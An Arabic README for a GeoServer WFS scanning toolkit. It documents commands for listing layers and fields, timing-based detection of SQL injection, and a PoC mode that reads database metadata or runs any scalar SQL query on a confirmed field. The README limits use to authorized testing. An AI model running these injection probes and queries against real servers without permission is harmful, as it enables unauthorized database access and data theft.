
نصوص بايثون لجرد نقاط نهاية GeoServer WFS والتحقق من ثغرات حقن SQL القائمة على الوقت في PostGIS/GeoTools، مع وضع PoC مخصص للاختبار المصرح به.
يحتوي هذا المستودع على سكربتين بلغة Python لفحص نقاط نهاية GeoServer-WFS.
wfs_inventory.pyالغرض: جرد الطبقات وحقول XSD وقيم WFS، والتحقق اختياريًا من المرشحين عبر فحص قائم على الوقت.
أمثلة التنفيذ:
python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt
geoserver_sqli_working.pyالغرض: نقطة دخول مدمجة للجرد بالإضافة إلى وضع PoC منفصل.
أمثلة التنفيذ:
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"
ملاحظة مهمة: يُسمح باستخدام الفحص القائم على الوقت ووضع PoC فقط ضد الأنظمة التي يوجد تصريح اختبار صريح لها. يستخدم وضع الجرد العادي عمليات WFS القياسية فقط.
يمكن جعلها قابلة للتنفيذ اختياريًا:
chmod +x wfs_inventory.py geoserver_sqli_working.py
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4
يتم إضافة المسار الافتراضي /geoserver/wfs تلقائيًا. لذلك فإن العناوين التالية متكافئة:
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs
في حالة التثبيت المختلف، يجب تحديد مسار WFS الكامل.
فقط للأنظمة المصرح بها صراحةً:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1
أثناء الفحص، يظهر قياس لكل مرشح على stderr:
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true
الفحص الناجح ليس دليلًا إيجابيًا بعد. فقط إذا نجح القياس الثاني الأطول أيضًا، يتم إخراج كتلة معلمات.
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
--valid-diagnose FILE يقوم تلقائيًا بتفعيل التشخيص المفصل وكتابته في الملف المحدد.
يعالج الوضع الافتراضي auto معلومات WFS بالترتيب التالي:
يتم فتح GetCapabilities مرة واحدة:
/geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
يتم بث استجابة XML. بمجرد العثور على FeatureType/Name، يتم تحديد typeName التالي.
لهذه الطبقة، يتم تنفيذ DescribeFeatureType فورًا باستخدام version=2.0.0.
يستخرج السكربت عناصر XSD ويختار حقول String/JSON ذات أسماء مشابهة للمعرفات أو الأرقام.
يتم فحص المرشح اعتمادًا على الاستدعاء:
--sleep: يجب أن تكون قيم العينات JSON صالحًا نحويًا.--sleep N: يتم قياس طلب تحكم وطلب فحص قائم على الوقت. يتم تخطي فحص قيمة JSON.يتم إخراج النتيجة فورًا وتفريغها.
فقط بعد ذلك يتم قراءة typeName التالي من استجابة GetCapabilities الجارية.
بهذه الطريقة، لا يلزم معالجة استجابة GetCapabilities الكبيرة بالكامل قبل ظهور النتيجة الأولى.
بدون --sleep، يأخذ الوضع التلقائي افتراضيًا حقول String/JSON ذات أسماء مشابهة للمعرفات أو الأرقام.
مع --sleep، يستخدم --candidate-scope auto بدلاً من ذلك جميع حقول غير الهندسة البسيطة. لم يعد نوع XSD ونمط اسم المعرف يحجبان فحص التوقيت. هذا يمنع النتائج السلبية الخاطئة للأنواع الرقمية أو التاريخ/المنطقي أو أنواع XSD الخاصة بالمصنعين.
أنماط الأسماء المكتشفة تشمل:
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid
في الفحص القائم على الوقت، يجب أن يكون اسم الحقل أيضًا معرفًا بسيطًا بتنسيق [A-Za-z_][A-Za-z0-9_]*.
بدون --sleep، يتم التحقق مما إذا كانت القيم المرصودة يمكن تفسيرها نحويًا كـ JSON. لذلك، على سبيل المثال، تعتبر السلسلة "383205" مرشحًا لأن محتواها يمثل رقم JSON صالحًا. هذا الفحص هو استدلال وليس دليلًا على وجود ثغرة.
مع --sleep 1، يقرر قياس الوقت فقط. يعتبر المرشح إيجابيًا افتراضيًا إذا استغرق طلب الفحص 70 بالمائة على الأقل من وقت النوم المطلوب إضافيًا مقارنة بطلب التحكم. يفحص --timing-result-type auto أولاً resultType=hits وفي حالة النتيجة السلبية يفحص بعد ذلك resultType=results.
يتم تأكيد القياسات الإيجابية المؤقتة إلزاميًا بوقت نوم أطول. بدون --confirm-sleep صريح، يستخدم السكربت max(3, --sleep * 3)، محدودًا بـ 10 ثوانٍ. بهذه الطريقة، لا تؤدي قمة زمن انتقال واحدة عند --sleep 1 إلى vulnerable=true.
يحتوي الإخراج القياسي على كتلة واحدة لكل طبقة صالحة:
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B
يحتوي parameter_stringN على نقطة نهاية WFS المعيارية والقيم المناسبة لـ --typename و --field_name.
يحسب --valid-fields N كتل الطبقات، وليس الحقول الفردية. إذا كان هناك أقل من N طبقات صالحة، يستمر فحص الكتالوج المتبقي. باستخدام --max-layers يمكن تحديد الحد الأقصى لوقت التشغيل.
الخيارات --diagnose أو --valid-diagnose FILE تضيف من بين أمور أخرى:
GetCapabilities،DescribeFeatureType،GetFeature ومثال:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--valid-diagnose diagnose.txt
python3 wfs_inventory.py \
--url https://HOST \
--mode layers
تحديد النطاق إلى مساحة اسم:
python3 wfs_inventory.py \
--url https://HOST \
--mode layers \
--namespace fink
python3 wfs_inventory.py \
--url https://HOST \
--mode fields \
--layer namespace:layer
يتم إخراج كل حقل ككائن JSON بالاسم ونوع XSD و nillable و id_candidate و usable_property.
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--field FIELD_A \
--field FIELD_B \
--max-features 100 \
--format jsonl \
--output values.jsonl
تصدير جميع الخصائص:
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--all-properties \
--max-features 100
مع --unique، يتم إخراج المجموعات المتطابقة من قيم الحقول المحددة مرة واحدة فقط.
wfs_inventory.py| المعامل | الافتراضي | المعنى |
|---|---|---|
--url URL | مطلوب | المضيف أو أساس GeoServer أو نقطة نهاية WFS كاملة |
--mode auto|layers|fields|values | auto | وضع التشغيل المراد تنفيذه |
--layer NAMESPACE:LAYER | – | تحديد الوضع التلقائي إلى نوع ميزة واحد؛ مطلوب لـ fields و values |
--namespace PREFIX | – | النظر فقط في طبقات بادئة مساحة الاسم هذه |
--capabilities-file FILE | – | استخدام استجابة GetCapabilities محلية بدلاً من التنزيل |
--field NAME | قابل للتكرار | الخاصية المراد تصديرها في وضع values |
--all-properties | إيقاف | تصدير جميع الخصائص في وضع values |
--unique | إيقاف | قمع مجموعات قيم الحقول المكررة |
--page-size N | 500 | الميزات لكل صفحة GetFeature؛ النطاق من 1 إلى 5000 |
--sample-size N | 5 | قيم العينات لكل طبقة لفحص بناء JSON؛ النطاق من 1 إلى 100 |
--sleep SECONDS | 0 | تفعيل التحقق القائم على الوقت؛ يُسمح بـ 0 أو من 1 إلى 10 ثوانٍ |
--candidate-scope auto|id|all | auto | اختيار المرشحين؛ يستخدم auto حقول المعرفات بدون نوم وجميع حقول غير الهندسة مع النوم |
--timing-result-type auto|hits|results | auto | مسار الاستعلام لفحص التوقيت؛ auto يجرب hits ثم results |
--sleep-threshold RATIO | 0.7 | النسبة المطلوبة من وقت النوم؛ النطاق من 0.5 إلى 1.0 |
يمكن لـ geoserver_sqli_working.py استدعاء وظيفة الجرد مباشرة. بمجرد تحديد --valid-fields، يتم تنفيذ الجرد فقط ثم ينهي البرنامج.
python3 geoserver_sqli_working.py \
--target https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
يتم تمرير المعلمات التالية داخليًا إلى wfs_inventory.py:
--target -> --url
--valid-fields -> --valid-fields
--valid-diagnose -> --valid-diagnose
--sleep -> --sleep
--candidate-scope -> --candidate-scope
--timing-result-type -> --timing-result-type
--sleep-threshold -> --sleep-threshold
--confirm-sleep -> --confirm-sleep
بدون --sleep صريح، يظل الفحص القائم على الوقت معطلاً في وضع الجرد.
فقط لأنظمة الاختبار المصرح بها صراحةً:
python3 geoserver_sqli_working.py \
--target https://HOST/geoserver/wfs \
--typename namespace:layer \
--field_name FIELD \
--sleep 5
في وضع PoC، لا يتم توحيد مسار الهدف تلقائيًا. هنا يجب تحديد نقطة نهاية WFS الكاملة.
ينفذ الوضع أولاً اختبار خط الأساس/النوم، ثم يختبر متغيرات Oracle القائمة على الوقت الموجودة، ويقرأ افتراضيًا بيانات تعريف الخادم/قاعدة البيانات عند التأكيد الناجح. مع --query يمكن تحديد استعلام عددي خاص بدلاً من ذلك.
يقوم وضع PoC حاليًا بتعطيل التحقق من شهادة TLS داخليًا. للجرد الخالص، يُفضل استخدام
wfs_inventory.pyحيث يتم التحقق من TLS افتراضيًا.
geoserver_sqli_working.py| المعامل | الافتراضي | المعنى |
|---|---|---|
--target URL | مطلوب | المضيف الهدف أو نقطة نهاية WFS؛ استخدم مسار WFS الكامل في وضع PoC |
--typename NAME | fink_bku:fink_meta_mitte_suedwest | نوع الميزة لوضع PoC |
--field_name NAME | مطلوب في وضع PoC | اسم حقل XSD بسيط لـ jsonArrayContains |
--field-name NAME | اسم مستعار | اسم مستعار لـ --field_name |
--valid-fields N | – | تفعيل وضع الجرد والتوقف بعد N طبقات صالحة |
--valid-diagnose FILE | – | كتابة تقرير الجرد المفصل في FILE؛ يتطلب --valid-fields |
--sleep SECONDS | PoC: 5، الجرد: إيقاف | مدة النوم للوضع المعني |
--candidate-scope auto|id|all | auto | اختيار المرشحين في وضع الجرد |
--timing-result-type auto|hits|results | auto | مسار استعلام التوقيت في وضع الجرد |
--sleep-threshold RATIO | 0.7 | عتبة التوقيت في وضع الجرد |
--confirm-sleep SECONDS | تلقائي | نوم التأكيد في وضع الجرد |
--query SQL | – | استعلام عددي خاص في وضع PoC |
--debug | إيقاف | عرض الشروط وأوقات التشغيل والقرارات في وضع PoC |
يمكن للوضع التلقائي إنشاء JSON Lines بدلاً من كتل النص:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--report-format jsonl \
--output report.jsonl
مع --diagnose، يحتوي كل سجل أيضًا على عناوين URL وبيانات تعريف المرشحين وقيم الفحص وعناوين URL الخاصة بالحقل لـ GetFeature.
استخدام الوكيل:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--valid-fields 4
الثقة في شهادة CA خاصة بالوكيل:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--proxy-ca proxy-ca.pem \
--valid-fields 4
تعطيل فحص TLS لنظام اختبار مصرح به:
python3 wfs_inventory.py \
--url https://HOST \
--insecure \
--valid-fields 4
لا يمكن استخدام --proxy-ca و --insecure معًا.
بالنسبة لاستجابات GetCapabilities الكبيرة، تساعد الخيارات التالية:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--max-layers 100 \
--sample-size 1 \
--timeout 10 \
--retries 0 \
--delay 0
ملاحظات:
GetCapabilities مرة واحدة فقط ثم يتم بثها.--valid-fields 4 ينهي الفحص فقط بعد أربع طبقات صالحة. إذا كان هناك عدد أقل من النتائج، يستمر البحث حتى النهاية أو حتى --max-layers.--sample-size 1 يقلل من جهد استدلال JSON.--timing-result-type auto، بعد نتيجة hits سلبية، يتم تنفيذ طلبي results إضافيين.--candidate-scope id يقلل من عدد طلبات التوقيت، لكنه قد يتجاهل الحقول المعرضة للخطر بأسماء أخرى.--namespace و --start-layer-index تقييد مساحة البحث بشكل إضافي.The read operation timed out--timeout إذا كان الخادم يستجيب ببطء.--retries 0 لتجنب إعادة المحاولات الطويلة.--max-layers و --namespace.--sample-size 1.--sleep، يجب أن يجتاز المرشحون فحص XSD/الاسم وفحص بناء JSON اعتمادًا على --candidate-scope.--sleep، يتم إخراج المرشحين المؤكدين زمنيًا فقط ككتلة معلمات؛ تظهر القياسات السلبية كـ [sleep-check] على stderr.--max-layers.Cannot do natural order without a primary keyبالنسبة للصفحة الأولى من GetFeature، لا يرسل السكربت startIndex=0 لأن بعض طبقات GeoServer/JDBC بدون مفتاح أساسي تفرض ترتيبًا طبيعيًا بالفعل. عند تصدير صفحات إضافية، قد تتطلب هذه الطبقة مفتاحًا أساسيًا أو فرزًا مدعومًا من الخادم.
schema does not define ...Typeيأخذ السكربت في الاعتبار كلاً من <LayerName>Type المعتاد وأيضًا complexType مختلف مرجع في عنصر الطبقة XSD العام أو مجهول. إذا استمر الخطأ، يجب فحص استجابة DescribeFeatureType المعنية باستخدام --diagnose.
يتم إخراج رسالة خطأ OWS الكاملة على stderr. الأسباب الشائعة هي الخصائص غير المدعومة أو إعدادات التقسيم من جانب الخادم أو تكوين مصدر بيانات خاص بالطبقة.
python3 wfs_inventory.py --help
python3 geoserver_sqli_working.py --help
--confirm-sleep SECONDS0/تلقائي |
نوم التأكيد؛ 0 يستخدم على الأقل 3× وقت النوم الأول، النطاق من 1 إلى 10 |
--start-layer-index N | 0 | تخطي أول N طبقات مُبثّة |
--max-layers N | 0 | معالجة N طبقات كحد أقصى؛ 0 يعني غير محدود |
--valid-fields N | 0 | التوقف بعد N كتل طبقات صالحة؛ 0 يعني غير محدود |
--valid N | اسم مستعار | اسم مستعار متوافق مع الإصدارات السابقة لـ --valid-fields |
--max-features N | 0 | التوقف بعد N ميزات في وضع values؛ 0 يعني غير محدود |
--format jsonl|csv|text | jsonl | تنسيق الإخراج في وضع values |
--output FILE | stdout | كتابة التقرير أو القيم إلى ملف |
--report-format blocks|jsonl | blocks | تنسيق التقرير التلقائي |
--diagnose | إيقاف | إضافة عناوين URL والأنواع وعلامات الاختيار وإحصائيات الفحص |
--valid-diagnose FILE | – | تفعيل التشخيص والكتابة مباشرة في FILE |
--delay SECONDS | 0.1 | توقف بين خطوات النتيجة/الفحص |
--timeout SECONDS | 30 | مهلة لكل طلب HTTP |
--retries N | 2 | إعادة المحاولة بعد المهلة أو خطأ الشبكة؛ النطاق من 0 إلى 10 |
--proxy URL | – | وكيل HTTP(S)، على سبيل المثال http://127.0.0.1:8080 |
--proxy-ca FILE | – | شهادة CA بصيغة PEM للثقة في شهادة الوكيل |
--insecure | إيقاف | تعطيل التحقق من شهادة TLS |
--authorization TEXT | I_AM_AUTHORIZED | تأكيد الأمان؛ يجب أن يكون بالضبط I_AM_AUTHORIZED |